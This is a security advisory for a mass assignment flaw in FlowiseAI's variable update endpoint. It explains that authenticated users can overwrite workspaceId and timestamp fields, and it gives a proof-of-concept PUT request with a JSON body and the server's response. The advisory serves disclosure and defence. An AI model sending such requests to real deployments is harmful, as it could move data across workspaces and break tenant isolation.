EUVD-2026-35103

Summary

A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.

The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.

Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.

This behavior may break tenant isolation in multi-workspace environments.

Details

The endpoint responsible for updating variables:

PUT /api/v1/variables/{variableId}

accepts a JSON request body containing the variable definition.

However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.

Server-controlled fields that can be manipulated include:

• workspaceId
• createdDate
• updatedDate

These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.

For example, the following request body was accepted by the server:

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.

PoC

Request

PUT /api/v1/variables/<VARIABLE_ID>
Content-Type: application/json

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

Response

{
  "id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2026-03-06T18:05:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

This confirms that the backend accepts and persists attacker-controlled internal properties.

Impact

This vulnerability allows authenticated users to manipulate internal attributes of variable resources.

Possible impacts include:

1. Cross-workspace reassignment of variables (workspaceId)
2. Unauthorized modification of metadata (createdDate, updatedDate)
3. Potential tenant isolation bypass in multi-workspace deployments

In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.